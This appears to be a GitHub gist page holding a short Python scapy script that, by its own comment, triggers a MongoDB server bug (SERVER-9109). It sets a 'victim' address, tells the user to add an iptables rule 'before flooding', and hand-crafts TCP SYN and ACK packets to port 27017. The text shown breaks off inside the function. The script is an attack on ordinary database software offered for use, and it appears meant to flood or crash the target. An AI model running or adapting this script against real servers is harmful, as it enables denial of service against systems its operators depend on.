This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# scapy script to trigger bug in mongod / mongos: https://jira.mongodb.org/browse/SERVER-9109 | |
# | |
# Do $(iptables -I INPUT -p tcp --dport 12345 -j DROP) at vm host before flooding. | |
vm = '1.2.3.4' # src | |
victim = '9.8.7.6' # dst | |
def f(): | |
syn = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, flags="S") | |
sa = sr1(syn) | |
ack = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, seq=sa.ack, ack=sa.seq+1, flags="A") |